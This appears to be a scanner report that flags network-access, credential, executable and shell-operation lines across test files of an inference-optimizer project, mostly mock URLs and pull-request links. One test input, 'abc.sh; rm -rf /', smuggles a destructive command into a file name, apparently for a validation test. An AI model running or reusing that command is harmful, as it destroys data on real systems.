assert serving_probe.cluster_is_serving(_PD_STATE, pd_mode="disaggregated", timeout_s=5) is True assert "http://10.0.1.1:30000/health" in seen - Network accessline 814
assert "http://10.0.1.1:30000/health" in seen - Network accessline 815
assert "http://10.0.1.2:30001/health" in seen - Network accessline 823
sys.modules, "httpx", _fake_serving_httpx(down_legs=("http://10.0.1.2:30001",)), - Network accessline 824
"httpx", _fake_serving_httpx(down_legs=("http://10.0.1.2:30001",)), ) - Network accessline 825
_fake_serving_httpx(down_legs=("http://10.0.1.2:30001",)), - Network accessline 852
assert serving_probe.cluster_is_serving(_PD_STATE, pd_mode="disaggregated", timeout_s=0.04) is False assert seen == ["http://10.0.1.1:30000/health"] - Network accessline 853
assert seen == ["http://10.0.1.1:30000/health"] - Network accessline 1128
session.mkdir() monkeypatch.setenv("INFERENCE_OPTIMIZER_CURRENT_SESSION_DIR", str(session)) monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://head:8888") - Network accessline 1129
monkeypatch.setenv("INFERENCE_OPTIMIZER_CURRENT_SESSION_DIR", str(session)) monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://head:8888") monkeypatch.setenv("HYPERLOOM_MN_EXT_HEAD_IP", "10.0.2.1") - Network accessline 1130
monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://head:8888")
src/hyperloom/inference_optimizer/tests/test_extrapolation_notes.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_failure_evidence.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_fmoe_ck_coverage.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_forge_gemm_durable_persist.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_fp8_per_token_injection.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_framework_agent_authoring.py
- Executable scriptline 1
Executable file - Network accessline 123
_CANDIDATE = { "pr_url": "https://github.com/sgl-project/sglang/pull/42", - Network accessline 124
"pr_url": "https://github.com/sgl-project/sglang/pull/42", - Network accessline 125
"diff_url": "https://github.com/sgl-project/sglang/pull/42.diff", - Network accessline 274
_CAND_ID = "https://github.com/ROCm/vllm/pull/999" - Network accessline 418
stub = _stub(tmp_path) stub.shared_state.framework_agent_specialist_candidate_map = { "spec-7": "https://github.com/ROCm/aiter/pull/3888", - Network accessline 419
stub.shared_state.framework_agent_specialist_candidate_map = { "spec-7": "https://github.com/ROCm/aiter/pull/3888", } - Network accessline 420
"spec-7": "https://github.com/ROCm/aiter/pull/3888", - Network accessline 441
rows = stub.shared_state.framework_agent_phase_progress assert len(rows) == 1 assert rows[0]["candidate_id"] == "https://github.com/ROCm/aiter/pull/3888" - Network accessline 442
assert len(rows) == 1 assert rows[0]["candidate_id"] == "https://github.com/ROCm/aiter/pull/3888" assert rows[0]["status"] == "reverted" - Network accessline 443
assert rows[0]["candidate_id"] == "https://github.com/ROCm/aiter/pull/3888" - Network accessline 521
candidate = { "candidate_id": "cand-x", "pr_url": "https://github.com/o/r/pull/1", - Network accessline 522
"candidate_id": "cand-x", "pr_url": "https://github.com/o/r/pull/1", "batch_id": "b0", - Network accessline 523
"pr_url": "https://github.com/o/r/pull/1", - Network accessline 652
stub = _stub(tmp_path) cand = "https://github.com/sgl-project/sglang/pull/28067" - Network accessline 653
cand = "https://github.com/sgl-project/sglang/pull/28067" - Network accessline 775
params={ "framework_agent_authoring": True, "framework_agent_candidate_id": "https://github.com/ROCm/vllm/pull/1014", - Network accessline 776
"framework_agent_authoring": True, "framework_agent_candidate_id": "https://github.com/ROCm/vllm/pull/1014", "framework_batch_id": "b1", - Network accessline 777
"framework_agent_candidate_id": "https://github.com/ROCm/vllm/pull/1014", - Network accessline 819
params={ "framework_agent_authoring": True, "framework_agent_candidate_id": "https://github.com/ROCm/aiter/pull/4130", - Network accessline 820
"framework_agent_authoring": True, "framework_agent_candidate_id": "https://github.com/ROCm/aiter/pull/4130", "framework_batch_id": "b1", - Network accessline 821
"framework_agent_candidate_id": "https://github.com/ROCm/aiter/pull/4130", - Network accessline 853
params={ "framework_agent_authoring": True, "framework_agent_candidate_id": "https://github.com/ROCm/aiter/pull/9999", - Network accessline 854
"framework_agent_authoring": True, "framework_agent_candidate_id": "https://github.com/ROCm/aiter/pull/9999", "framework_batch_id": "b1", - Network accessline 855
"framework_agent_candidate_id": "https://github.com/ROCm/aiter/pull/9999", - Network accessline 897
params={ "framework_agent_authoring": True, "framework_agent_candidate_id": "https://github.com/ROCm/aiter/pull/8888", - Network accessline 898
"framework_agent_authoring": True, "framework_agent_candidate_id": "https://github.com/ROCm/aiter/pull/8888", "framework_batch_id": "b1", - Network accessline 899
"framework_agent_candidate_id": "https://github.com/ROCm/aiter/pull/8888", - Network accessline 942
stub = _stub(tmp_path) pr_url = "https://github.com/vllm-project/vllm/pull/60076" - Network accessline 943
pr_url = "https://github.com/vllm-project/vllm/pull/60076" - Network accessline 978
stub = _stub(tmp_path) stub.shared_state.research_lane_capacity = 3 _seed_batch(stub, *({"pr_url": f"https://github.com/ex/repo/pull/{i}", "title": f"c{i}"} for i in range(5))) - Network accessline 979
stub.shared_state.research_lane_capacity = 3 _seed_batch(stub, *({"pr_url": f"https://github.com/ex/repo/pull/{i}", "title": f"c{i}"} for i in range(5))) stub.submitted = [] - Network accessline 980
_seed_batch(stub, *({"pr_url": f"https://github.com/ex/repo/pull/{i}", "title": f"c{i}"} for i in range(5))) - Network accessline 996
async def test_parallel_authoring_fills_capacity_around_candidates_in_flight(parallel_phase): in_flight = "https://github.com/ex/repo/pull/0" - Network accessline 997
in_flight = "https://github.com/ex/repo/pull/0" - Network accessline 1004
assert parallel_phase.submitted == ["https://github.com/ex/repo/pull/1", "https://github.com/ex/repo/pull/2"] - Network accessline 1008
parallel_phase.shared_state.framework_agent_batches = [] parallel_phase.tasks._queued.append( SimpleNamespace(kind="specialist", params={"framework_agent_candidate_id": "https://github.com/ex/repo/pull/9"}) - Network accessline 1009
parallel_phase.tasks._queued.append( SimpleNamespace(kind="specialist", params={"framework_agent_candidate_id": "https://github.com/ex/repo/pull/9"}) ) - Network accessline 1010
SimpleNamespace(kind="specialist", params={"framework_agent_candidate_id": "https://github.com/ex/repo/pull/9"})
src/hyperloom/inference_optimizer/tests/test_framework_agent_client_unit.py
src/hyperloom/inference_optimizer/tests/test_framework_agent_critic_gate.py
- Executable scriptline 1
Executable file - Network accessline 23
_CANDIDATE = { "candidate_id": "https://github.com/sgl-project/sglang/pull/9999", - Network accessline 24
"candidate_id": "https://github.com/sgl-project/sglang/pull/9999", - Network accessline 25
"pr_url": "https://github.com/sgl-project/sglang/pull/9999",
src/hyperloom/inference_optimizer/tests/test_framework_agent_discover_retry.py
src/hyperloom/inference_optimizer/tests/test_framework_agent_p0_terminal_rows.py
- Executable scriptline 1
Executable file - Network accessline 30
coord = make_coordinator(tmp_path) phase = coord.phase_framework cand_pr_only = {"pr_url": "https://example.com/pr/9", "batch_id": "b1"} - Network accessline 31
phase = coord.phase_framework cand_pr_only = {"pr_url": "https://example.com/pr/9", "batch_id": "b1"} cand_other = {"candidate_id": "cid-2", "batch_id": "b1"} - Network accessline 32
cand_pr_only = {"pr_url": "https://example.com/pr/9", "batch_id": "b1"} - Network accessline 90
idempotency_key="t-1", params={ "framework_agent_candidate_id": "https://example.com/pr/7", - Network accessline 91
params={ "framework_agent_candidate_id": "https://example.com/pr/7", "candidate": {"pr_url": "https://example.com/pr/7"}, - Network accessline 92
"framework_agent_candidate_id": "https://example.com/pr/7", - Network accessline 93
"candidate": {"pr_url": "https://example.com/pr/7"}, - Network accessline 99
rows = coord.shared_state.framework_agent_phase_progress assert len(rows) == 1 assert rows[0]["candidate_id"] == "https://example.com/pr/7" - Network accessline 100
assert len(rows) == 1 assert rows[0]["candidate_id"] == "https://example.com/pr/7" assert rows[0]["status"] == "no_result_failed" - Network accessline 101
assert rows[0]["candidate_id"] == "https://example.com/pr/7"
src/hyperloom/inference_optimizer/tests/test_framework_agent_reauthor.py
- Executable scriptline 1
Executable file - Network accessline 37
_CANDIDATE = { "candidate_id": "https://github.com/sgl-project/sglang/pull/7777", - Network accessline 38
"candidate_id": "https://github.com/sgl-project/sglang/pull/7777", - Network accessline 39
"pr_url": "https://github.com/sgl-project/sglang/pull/7777",
src/hyperloom/inference_optimizer/tests/test_framework_agent_selection_audit.py
src/hyperloom/inference_optimizer/tests/test_framework_budget_precedence.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_framework_dispatch_failure_not_authored_empty.py
- Executable scriptline 1
Executable file - Network accessline 120
def test_an_empty_upstream_authoring_round_counts_against_the_upstream_lever(tmp_path: Path): stub = _stub(tmp_path) task = _task("https://github.com/org/repo/pull/7") - Network accessline 121
stub = _stub(tmp_path) task = _task("https://github.com/org/repo/pull/7") task.params["lever_kind"] = LEVER_UPSTREAM_PR - Network accessline 122
task = _task("https://github.com/org/repo/pull/7")
src/hyperloom/inference_optimizer/tests/test_framework_gap_composer.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_framework_git_helpers.py
- Executable scriptline 1
Executable file - Network accessline 62
("", ""), ("Owner/Name", "owner/name"), ("https://github.com/Owner/Name.git", "owner/name"), - Network accessline 63
("Owner/Name", "owner/name"), ("https://github.com/Owner/Name.git", "owner/name"), ("git@github.com:Owner/Name.git", "owner/name"), - Network accessline 64
("https://github.com/Owner/Name.git", "owner/name"), - Network accessline 65
("git@github.com:Owner/Name.git", "owner/name"), ("https://github.com/Owner/Name/", "owner/name"), ("https://example.com/a/b/c/d", "c/d"), - Network accessline 66
("https://github.com/Owner/Name/", "owner/name"), - Network accessline 67
("https://example.com/a/b/c/d", "c/d"), - Network accessline 92
fp, "_run_git", lambda *a, **k: (True, "https://github.com/Owner/Name.git\n", ""), - Network accessline 93
"_run_git", lambda *a, **k: (True, "https://github.com/Owner/Name.git\n", ""), ) - Network accessline 94
lambda *a, **k: (True, "https://github.com/Owner/Name.git\n", ""), - Network accessline 101
fp, "_run_git", lambda *a, **k: (True, "https://github.com/Other/Repo.git\n", ""), - Network accessline 102
"_run_git", lambda *a, **k: (True, "https://github.com/Other/Repo.git\n", ""), ) - Network accessline 103
lambda *a, **k: (True, "https://github.com/Other/Repo.git\n", ""),
src/hyperloom/inference_optimizer/tests/test_framework_image_baseline.py
src/hyperloom/inference_optimizer/tests/test_framework_kb_models_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_framework_local_explore.py
- Executable scriptline 1
Executable file - Network accessline 413
stub = _stub(tmp_path, local_explore=False) proposals = [ {"pr_url": "https://x/pr/1", "verdict": "worth_a_bench", "framework": "tensorrt"}, - Network accessline 414
proposals = [ {"pr_url": "https://x/pr/1", "verdict": "worth_a_bench", "framework": "tensorrt"}, {"pr_url": "https://x/pr/2", "verdict": "worth_a_bench", "framework": "SGLang"}, - Network accessline 415
{"pr_url": "https://x/pr/1", "verdict": "worth_a_bench", "framework": "tensorrt"}, - Network accessline 416
{"pr_url": "https://x/pr/2", "verdict": "worth_a_bench", "framework": "SGLang"}, - Network accessline 417
{"pr_url": "https://x/pr/3", "verdict": "worth_a_bench"}, - Network accessline 419
candidates = stub.phase_framework._candidates_from_discovery_proposals(proposals) assert [(c["pr_url"], c["framework"]) for c in candidates] == [ ("https://x/pr/2", "sglang"), - Network accessline 420
assert [(c["pr_url"], c["framework"]) for c in candidates] == [ ("https://x/pr/2", "sglang"), ("https://x/pr/3", ""), - Network accessline 421
("https://x/pr/2", "sglang"), - Network accessline 422
("https://x/pr/3", ""), - Network accessline 595
params={ "framework_agent_authoring": True, "framework_agent_candidate_id": "https://pr/1", - Network accessline 596
"framework_agent_authoring": True, "framework_agent_candidate_id": "https://pr/1", "framework_batch_id": "", - Network accessline 597
"framework_agent_candidate_id": "https://pr/1",
src/hyperloom/inference_optimizer/tests/test_framework_paths_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_framework_rewrite_evidence.py
src/hyperloom/inference_optimizer/tests/test_framework_rewrite_specialist.py
src/hyperloom/inference_optimizer/tests/test_framework_state_save_errors.py
src/hyperloom/inference_optimizer/tests/test_framework_switch_manifest.py
- Executable scriptline 1
Executable file - Access to secretsline 353
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Access to secretsline 369
[Credential-related source omitted] - Access to secretsline 376
[Credential-related source omitted] - Access to secretsline 377
[Credential-related source omitted] - Access to secretsline 385
[Credential-related source omitted] - Access to secretsline 386
[Credential-related source omitted] - Access to secretsline 393
[Credential-related source omitted] - Access to secretsline 399
[Credential-related source omitted] - Access to secretsline 400
[Credential-related source omitted] - Access to secretsline 406
[Credential-related source omitted] - Access to secretsline 412
[Credential-related source omitted] - Access to secretsline 420
[Credential-related source omitted] - Access to secretsline 428
[Credential-related source omitted] - Access to secretsline 429
[Credential-related source omitted] - Access to secretsline 437
[Credential-related source omitted] - Access to secretsline 443
[Credential-related source omitted] - Access to secretsline 450
[Credential-related source omitted] - Access to secretsline 451
[Credential-related source omitted] - Access to secretsline 467
[Credential-related source omitted] - Access to secretsline 469
[Credential-related source omitted] - Access to secretsline 472
[Credential-related source omitted] - Access to secretsline 473
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_framework_whole_machine_gpu.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_framework_working_memory.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gain_gated_counter.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gaps_field.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gateway_request_trajectory.py
- Executable scriptline 1
Executable file - Network accessline 143
) body = b"".join(b"data: " + json.dumps(event).encode() + b"\n\n" for event in events) transport = httpx.MockTransport(lambda _request: httpx.Response(200, content=body)) - Network accessline 144
body = b"".join(b"data: " + json.dumps(event).encode() + b"\n\n" for event in events) transport = httpx.MockTransport(lambda _request: httpx.Response(200, content=body)) with httpx.Client(base_url="https://gateway.test", transport=t - Network accessline 145
transport = httpx.MockTransport(lambda _request: httpx.Response(200, content=body)) - Network accessline 146
with httpx.Client(base_url="https://gateway.test", transport=transport) as client: - Network accessline 179
dials.append(request) if len(dials) <= llm_config.ANTHROPIC_CONNECT_RETRIES: raise httpx.ConnectError("connection refused", request=request) - Network accessline 180
if len(dials) <= llm_config.ANTHROPIC_CONNECT_RETRIES: raise httpx.ConnectError("connection refused", request=request) return httpx.Response(200, content=body) - Network accessline 181
raise httpx.ConnectError("connection refused", request=request) - Network accessline 182
return httpx.Response(200, content=body) - Network accessline 184
with httpx.Client(base_url="https://gateway.test", transport=httpx.MockTransport(dial)) as client:
src/hyperloom/inference_optimizer/tests/test_geak_acceptance_identity.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_adoption_ledger.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_axis_alignment.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_binaries.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_config.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_decline_status.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_gain_alignment.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_handoff_env.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_handoff_fidelity.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_handoff_gpu_free.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_handoff_gpu_identity.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_handoff_gpu_pin.py
src/hyperloom/inference_optimizer/tests/test_geak_handoff_identity.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_handoff_launch_server_script.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_handoff_rebench_budget.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_handoff_workload_contract.py
src/hyperloom/inference_optimizer/tests/test_geak_late_settlement.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_native_source_revalidation.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_observed_replay_shape.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_overlay_identity.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_overlay_load_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_promotion_retention.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_resume_recovery.py
src/hyperloom/inference_optimizer/tests/test_geak_revalidation_dispatch.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_geak_runner_graceful_stop_unit.py
src/hyperloom/inference_optimizer/tests/test_geak_runner_reaps_process_tree.py
src/hyperloom/inference_optimizer/tests/test_geak_sweep_units.py
src/hyperloom/inference_optimizer/tests/test_geak_workload_comparability.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gemm_bf16_aiter_routing.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gemm_result_json_writeback.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gemm_shape_alignment_handler.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gemm_shape_coverage.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gemm_tuning_trace_row.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_git_foreign_checkout_callers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_git_foreign_checkout_tool_callers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_git_safe_directory.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gpu_board_decisions_pinned.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gpu_board_list_single_source.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gpu_metrics.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gpu_pool_device_resolution.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gpu_power_sampling.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gpu_power_settings.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gpu_probe_remote.py
- Executable scriptline 1
Executable file - Network accessline 22
monkeypatch.setattr(gpu_probe, "external_service_url", lambda: "http://claw-ray:8888") - Network accessline 197
@pytest.mark.parametrize( "failure", [httpx.ConnectError("dashboard unreachable"), OSError("no route to host"), subprocess.TimeoutExpired(["ssh"], 1)], - Network accessline 198
"failure", [httpx.ConnectError("dashboard unreachable"), OSError("no route to host"), subprocess.TimeoutExpired(["ssh"], 1)], ) - Network accessline 199
[httpx.ConnectError("dashboard unreachable"), OSError("no route to host"), subprocess.TimeoutExpired(["ssh"], 1)],
src/hyperloom/inference_optimizer/tests/test_gpu_research_lane_dispatch.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_gpu_type_radeon8060s.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_graded_comparison.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_grid_mn_reference_envs.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_grid_moe_runner_backend_guard.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_grid_runner.py
- Executable scriptline 1
Executable file - Network accessline 73
error_class="mn_server_restart_failed", error_summary=( "server /health did not return 200 within 1800s (url=http://192.0.2.67:8888/health, last_err=...)" - Network accessline 74
error_summary=( "server /health did not return 200 within 1800s (url=http://192.0.2.67:8888/health, last_err=...)" ), - Network accessline 75
"server /health did not return 200 within 1800s (url=http://192.0.2.67:8888/health, last_err=...)" - Network accessline 262
class TestParseSkipSpec: def test_splits_on_commas_and_whitespace(self): assert _parse_skip_spec("a, b\nc d") == ["a", "b", "c", "d"] - Network accessline 264
assert _parse_skip_spec("a, b\nc d") == ["a", "b", "c", "d"] - Dangerous shell operationline 419
["../danger.sh", "with space.sh", "../sub.sh", "abc.sh; rm -rf /"], - Access to secretsline 459
[Credential-related source omitted] - Access to secretsline 783
[Credential-related source omitted] - Access to secretsline 790
[Credential-related source omitted] - Access to secretsline 951
[Credential-related source omitted] - Access to secretsline 952
[Credential-related source omitted] - Access to secretsline 966
[Credential-related source omitted] - Access to secretsline 967
[Credential-related source omitted] - Access to secretsline 1192
[Credential-related source omitted] - Access to secretsline 1195
[Credential-related source omitted] - Access to secretsline 1224
[Credential-related source omitted] - Access to secretsline 1276
[Credential-related source omitted] - Access to secretsline 1280
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_grid_runner_behavior_lock.py
src/hyperloom/inference_optimizer/tests/test_grid_runner_helpers_coverage_unit.py
src/hyperloom/inference_optimizer/tests/test_grid_runner_kill_and_branches_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_grid_runner_runtime_override.py
- Executable scriptline 1
Executable file - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_grid_size_prompt_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_grid_variant_filter.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_honest_e2e_hardening_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_hyperloom_cli.py
src/hyperloom/inference_optimizer/tests/test_inferasim_backend.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_inferencex_anchor_contract.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_inferencex_checkout_guard.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_inferencex_client_unit.py
- Executable scriptline 1
Executable file - Network accessline 21
monkeypatch.delenv("INFERENCEX_BASE_URL", raising=False) assert ix.base_url() == ix.DEFAULT_BASE_URL monkeypatch.setenv("INFERENCEX_BASE_URL", "http://local/api") - Network accessline 22
assert ix.base_url() == ix.DEFAULT_BASE_URL monkeypatch.setenv("INFERENCEX_BASE_URL", "http://local/api") assert ix.base_url() == "http://local/api" - Network accessline 23
monkeypatch.setenv("INFERENCEX_BASE_URL", "http://local/api") - Network accessline 24
assert ix.base_url() == "http://local/api" - Network accessline 65
def test_fetch_raw_plain_200(monkeypatch): monkeypatch.setattr(ix.urllib.request, "urlopen", lambda req, timeout=None, context=None: _FakeResp(body=b"[1]")) assert ix._fetch_raw("http://x") == b"[1]" - Network accessline 67
assert ix._fetch_raw("http://x") == b"[1]" - Network accessline 77
lambda req, timeout=None, context=None: _FakeResp(body=payload, encoding="gzip"), ) assert ix._fetch_raw("http://x") == b"[2]" - Network accessline 79
assert ix._fetch_raw("http://x") == b"[2]" - Network accessline 83
monkeypatch.setattr(ix.urllib.request, "urlopen", lambda req, timeout=None, context=None: _FakeResp(code=404)) with pytest.raises(ix.InferenceXFetchError): ix._fetch_raw("http://x") - Network accessline 85
ix._fetch_raw("http://x") - Network accessline 91
def _raise(req, timeout=None, context=None): raise HTTPError("http://x", 500, "boom", {}, None) - Network accessline 92
raise HTTPError("http://x", 500, "boom", {}, None) - Network accessline 94
monkeypatch.setattr(ix.urllib.request, "urlopen", _raise) with pytest.raises(ix.InferenceXFetchError): ix._fetch_raw("http://x") - Network accessline 96
ix._fetch_raw("http://x") - Network accessline 105
monkeypatch.setattr(ix.urllib.request, "urlopen", _raise) with pytest.raises(ix.InferenceXFetchError): ix._fetch_raw("http://x") - Network accessline 107
ix._fetch_raw("http://x") - Network accessline 116
monkeypatch.setattr(ix.urllib.request, "urlopen", _raise) with pytest.raises(ix.InferenceXFetchError): ix._fetch_raw("http://x") - Network accessline 118
ix._fetch_raw("http://x") - Network accessline 125
monkeypatch.setattr(ix.urllib.request, "urlopen", _raise) with pytest.raises(ix.InferenceXFetchError): ix._fetch_raw("http://x") - Network accessline 127
ix._fetch_raw("http://x") - Network accessline 301
def fetch(url): - Network accessline 305
monkeypatch.setenv("INFERENCEX_BASE_URL", "https://reference.test/api/v1") monkeypatch.setattr(ix, "_fetch_raw", fetch) - Network accessline 324
def fetch(url): - Network accessline 365
def fetch(url): - Network accessline 400
def fetch(url):
src/hyperloom/inference_optimizer/tests/test_inferencex_patcher.py
- Executable scriptline 1
Executable file - Access to secretsline 323
[Credential-related source omitted] - Dangerous shell operationline 324
result = eval(expr, {"__builtins__": __builtins__}) - Access to secretsline 330
[Credential-related source omitted] - Dangerous shell operationline 332
result_env = eval(expr, {"__builtins__": __builtins__}) - Access to secretsline 339
[Credential-related source omitted] - Dangerous shell operationline 1199
exec("parser = argparse.ArgumentParser()\n" + seed_line.strip(), scope)
src/hyperloom/inference_optimizer/tests/test_inferencex_preflight_clone.py
- Executable scriptline 1
Executable file - Network accessline 19
monkeypatch.setenv("INFERENCEX_REF", "a" * 40) monkeypatch.setenv("INFERENCEX_REPO", "https://example.invalid/X.git") - Network accessline 20
monkeypatch.setenv("INFERENCEX_REPO", "https://example.invalid/X.git") - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 259
[Credential-related source omitted] - Access to secretsline 291
[Credential-related source omitted] - Access to secretsline 292
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_install_baremetal_rocm_sdk_libpath.py
- Executable scriptline 1
Executable file - Network accessline 323
log() {{ echo "LOG: $*"; }} warn() {{ echo "WARN: $*" >&2; }} ROCM_SDK_INDEX_URL="https://index.example/whl" - Network accessline 324
warn() {{ echo "WARN: $*" >&2; }} ROCM_SDK_INDEX_URL="https://index.example/whl" export FAKE_CORE_VERSION="{core_version}" - Network accessline 325
ROCM_SDK_INDEX_URL="https://index.example/whl" - Network accessline 361
assert result.returncode == 0, result.stderr assert "rocm-sdk-devel==10.0.0" in result.stdout assert "--index-url https://index.example/whl" in result.stdout - Network accessline 362
assert "rocm-sdk-devel==10.0.0" in result.stdout assert "--index-url https://index.example/whl" in result.stdout assert "INIT: -m rocm_sdk init" in result.stdout - Network accessline 363
assert "--index-url https://index.example/whl" in result.stdout
src/hyperloom/inference_optimizer/tests/test_install_baremetal_sglang_kernel.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_install_baremetal_sglang_wheel_target.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_install_baremetal_vllm_target.py
- Executable scriptline 1
Executable file - Network accessline 60
def test_unknown_stack_fails_before_mutation(tmp_path: Path) -> None: fake_py = tmp_path / "python" fake_py.write_text("#!/bin/sh\ncat >/dev/null; echo 3.12\n") - Network accessline 61
fake_py = tmp_path / "python" fake_py.write_text("#!/bin/sh\ncat >/dev/null; echo 3.12\n") fake_py.chmod(0o755) - Network accessline 62
fake_py.write_text("#!/bin/sh\ncat >/dev/null; echo 3.12\n") - Network accessline 68
ensure_openmpi_runtime() {{ echo MUTATION; }} FRAMEWORK_ENV=isolated; VLLM_VENV_ROOT="{tmp_path}/venv"; CHECK_ONLY=0; DRY_RUN=0 VLLM_VERSION=0.29.0; VLLM_ROCM_VARIANT=rocm723; VLLM_ROCM_INDEX=https://example.invalid - Network accessline 69
FRAMEWORK_ENV=isolated; VLLM_VENV_ROOT="{tmp_path}/venv"; CHECK_ONLY=0; DRY_RUN=0 VLLM_VERSION=0.29.0; VLLM_ROCM_VARIANT=rocm723; VLLM_ROCM_INDEX=https://example.invalid install_vllm_framework - Network accessline 70
VLLM_VERSION=0.29.0; VLLM_ROCM_VARIANT=rocm723; VLLM_ROCM_INDEX=https://example.invalid - Network accessline 105
subprocess.run(["git", "-C", str(root), "add", "tracked"], check=True) subprocess.run(["git", "-C", str(root), "commit", "-qm", "base"], check=True) repo = "https://example.invalid/vllm.git" - Network accessline 106
subprocess.run(["git", "-C", str(root), "commit", "-qm", "base"], check=True) repo = "https://example.invalid/vllm.git" subprocess.run(["git", "-C", str(root), "remote", "add", "origin", repo], check=True) - Network accessline 107
repo = "https://example.invalid/vllm.git" - Network accessline 110
(root / "tracked").write_text("dirty") else: repo = "https://other.invalid/vllm.git" - Network accessline 111
else: repo = "https://other.invalid/vllm.git" body = f""" - Network accessline 112
repo = "https://other.invalid/vllm.git" - Network accessline 149
ensure_aiter_for_python() {{ echo "AITER:$2" >> "$CALLS"; }} export CALLS="{tmp_path}/calls"; DRY_RUN=0; CHECK_ONLY=0; VLLM_SOURCE_REF={_REF} VLLM_ROOT="{tmp_path}/src"; VLLM_VENV_ROOT="{venv}"; VLLM_REPO=https://example.invalid/vllm.git - Network accessline 150
